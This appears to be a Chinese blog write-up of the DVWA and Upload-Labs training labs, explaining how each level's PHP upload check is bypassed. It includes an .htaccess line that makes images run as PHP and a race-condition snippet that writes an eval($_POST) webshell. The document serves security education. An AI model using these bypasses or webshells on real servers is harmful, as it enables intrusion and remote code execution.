2020-11-05

2 篇文章 0 订阅

文件上传:DVWA和Upload_Labs


DVWA_Upload

low_level

直接上传php木马。

medium_level

修改Content-Type: image/png

high_level

看源码分析

//截取文件扩展名
$uploaded_ext  = substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1);
//检验文件合法性
if( ( strtolower( $uploaded_ext ) == "jpg" || strtolower( $uploaded_ext ) == "jpeg" || strtolower( $uploaded_ext ) == "png" ) &&
        ( $uploaded_size < 100000 ) &&
        getimagesize( $uploaded_tmp ) )

截取文件扩展名白名单过滤的组合拳,只能上传有合法图片扩展名的文件。

getimagesize( $uploaded_tmp )

检验文件的前两个字节的内容来分辨文件是否为图片文件。
只能上传图片马,配合文件包含漏洞getshell。


图片马的制作:

burp suite抓包修改文件头部:

cmd手动制作图片马:


Upload_Labs 总结


pass01:js 绕过

方法:(1)抓包修改;(2)修改 js 代码

pass02:content-type

方法:抓包修改 content-type 的值为 image/png、image/jpeg、image/gif

pass03:黑名单不全

方法:可以上传文件扩展名为 .phtml .php3 等的文件,此类文件依旧可以被服务器解析成为 php 文件。

pass04:忽略了.htaccess配置文件的上传问题。

方法:上传.htaccess配置文件,修改同一目录下的文件解析配置。使apache访问与其同一目录下的图片类文件时将图片类文件也解析成 php 文件。

.htaccess
Addtype application/x-httpd-php .jpg .png .gif
pass05:大小写绕过

方法:通过修改文件扩展名的大小写绕过后端验证。

pass06:黑名单过滤和空格绕过

漏洞代码:

 $file_name = $_FILES['upload_file']['name'];
 $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
 $file_ext = strrchr($file_name, '.');
 if (!in_array($file_ext, $deny_ext)){}

没有对文件名进行去空字符操作,strrchr函数获取文件扩展名。然后黑名单过滤。
方法:在文件的扩展名后面再加一个空格,可以绕过黑名单过滤。不过此方法只适用于windows系统的服务器,因为windows系统在保存文件时会自动的把扩展名后面的空格删去,而linux不会如此,linux会把空格保存下来。

pass07:黑名单过滤和点绕过

漏洞代码:

$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
$file_ext = strrchr($file_name, '.');
if (!in_array($file_ext, $deny_ext))

没有对文件名进行去点字符操作,strrchr函数获取文件扩展名。然后黑名单过滤。
方法:在文件扩展名后面加点字符,绕过黑名单检验。
buuoj平台上的linux系统可以解析.php.的文件为php文件

自己搭建的windows的平台在保存 .php.的文件时,将 .php.最后的 .给去除了,以 .php的格式保存。

访问的时候既可以以 .php.的扩展名访问,也可以以.php的扩展名访问。

这里留一个坑~上面本地测试我用的php版本是5.2.17的,现在换成新的7x的版本就不行了。根据报错的信息是 提示:上传出错! 猜测是新版本的move_uploaded_file()函数的变化~

pass08:windows特性 ::$DATA文件流

php在window的时候如果文件名+::$DATA会把::$DATA之后的数据当成文件流处理,不会检测后缀名.且保持 ::$DATA之前的文件名。
方法:在文件扩展名后加上 ::$DATA

pass09:逻辑漏洞

没有对要保存在本地的文件进行重命名。可以构建zjh.php. .来绕过检测,文件经过处理后会以zjh.php.的文件名保存在本地。

pass10:文件后缀名的双写构造
$file_name = str_ireplace($deny_ext,"", $file_name);

将黑名单内的字符串替换为空字符。但是没有重复检验。上传的文件名如果为zjh.pphphp,经过一次替换后就变成了zjh.php

pass11-12:%00截断

触发漏洞的条件:

php版本低于5.3.4
php配置文件的转义magic_quote_gpc为off(默认为on)
上传的文件名和路径均前端可控
上传的文件名和路径进行拼接

漏洞代码:

$img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;

文件保存的路径可以通过上传变量来修改~然后用%00截断来断开后面对文件名的重命名。
方法:通过$_GET['save_path']变量上传一个自己构建目标文件

11和12的差别就是GET和POST

pass13-15:读取文件头两字节识别文件类型

漏洞代码:

pass13:
$file = fopen($filename, "rb");
    $bin = fread($file, 2); //只读2字节
    fclose($file);
    $strInfo = @unpack("C2chars", $bin);    
    $typeCode = intval($strInfo['chars1'].$strInfo['chars2']);    
    $fileType = '';    
    switch($typeCode){      
        case 255216:            
            $fileType = 'jpg';
            break;
        case 13780:            
            $fileType = 'png';
            break;        
        case 7173:            
            $fileType = 'gif';
            break;
        default:            
            $fileType = 'unknown';
        }    
        return $fileType;
}

pass14:
$types = '.jpeg|.png|.gif';
$info = getimagesize($filename);
$ext = image_type_to_extension($info[2]);

pass15:
function isImage($filename){
    //需要开启php_exif模块
    $image_type = exif_imagetype($filename);
    switch ($image_type) {
        case IMAGETYPE_GIF:
            return "gif";
            break;
        case IMAGETYPE_JPEG:
            return "jpg";
            break;
        case IMAGETYPE_PNG:
            return "png";
            break;    
        default:
            return false;
            break;
    }
}

直接上传图片马都可以绕过,然后配合文件包含漏洞getshell

pass16:图片的重新渲染绕过

渲染函数:

$im = imagecreatefromjpeg($target_path);
$im = imagecreatefrompng($target_path);
$im = imagecreatefromgif($target_path);

前后对比图片分别经过这三个函数渲染后的差异。
jpeg:

png:

gif:

只有gif格式的图片马把木马代码保存了下来。所以利用gif图片容易绕过点。

pass17-18:条件竞争

漏洞代码:

$ext_arr = array('jpg','png','gif');
$upload_file = UPLOAD_PATH . '/' . $file_name;
if(move_uploaded_file($temp_file, $upload_file)){
        if(in_array($file_ext,$ext_arr)){
             $img_path = UPLOAD_PATH . '/'. rand(10, 99).date("YmdHis").".".$file_ext;
             rename($upload_file, $img_path);
             $is_upload = true;
        }else{
            $msg = "只允许上传.jpg|.png|.gif类型文件!";
            unlink($upload_file);
        }

读代码:上传的文件先用原来的文件名保存在服务器,然后对文件扩展名进行白名单检验,如果扩展名合法就再改文件名。反之unlink删除文件。
攻击:上传一个php文件,其功能是创建一个php木马文件。攻击者重复上传、重复访问这个php文件,如果能赶在文件被删除前成功访问,服务器就会解析这个php文件,然后写入一个php木马。
攻击代码:

<?php
$a = '<?php @eval($_POST[\'zjh\']);?>';
file_put_contents('zjh.php',$a);
?>
pass19:move_uploaded_file()递归删除/.绕过后缀名检测。

参考了链接:move_uploaded_file和file_put_content都会递归删除文件名最后的/.导致绕过了后缀名检测。
其实这里也可以利用windows的特性上传的文件扩展名为.php./的文件,既可以绕过黑名单也可以成功的以.php的扩展名保存在windows服务器端。

pass20:数组绕过

检验了content-type类型

$file = empty($_POST['save_name']) ? $_FILES['upload_file']['name'] : $_POST['save_name'];
        if (!is_array($file)) {
            $file = explode('.', strtolower($file));
        }

判断save_name参数是否为空,为空就把文件本来名称赋值给$file,否则就是将save_name参数的值赋给它。紧接着判断$file是否是数组

如果不是数组则将其拆成数组,然后数组最后一个的值(end函数就是取数组最后一个的值)同白名单做比较,符合jpg、png、gif中的一种就允许上传了。

$file_name = reset($file) . '.' . $file[count($file) - 1];

上传后就对文件名做了重新的拼接,由取的是数组的第一个元素接上 . 符号,然后和 $file[count($file) - 1] 取的元素进行文件名拼接。
解法:

先修改Content-type头
传入两个数组元素save_name[0]save_name[2],让save_name[1]为空,count()函数计算数组个数时不会把空的元素算上。所以$file[count($file) - 1]的值为
最后重新构建的文件名为 zjh/.move_uploaded_file() 函数会忽略掉文件末尾的 /. ,最终会以 zjh.php 的文件名保存在服务器中。
可以试试对比测试:


由上面的代码可以知道,第二张图count()没有把空的$a[1]算上。

总结

20关做下来最大的感触就是最好还是不要用 黑名单 来检测敏感文件一来太麻烦,二来容易出问题。 服务器版本
最好用最新的,老的版本有很多的问题漏洞如:%00截断。
还有就是逻辑思维这个考验脑洞的东西真的是搞不来~~

  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值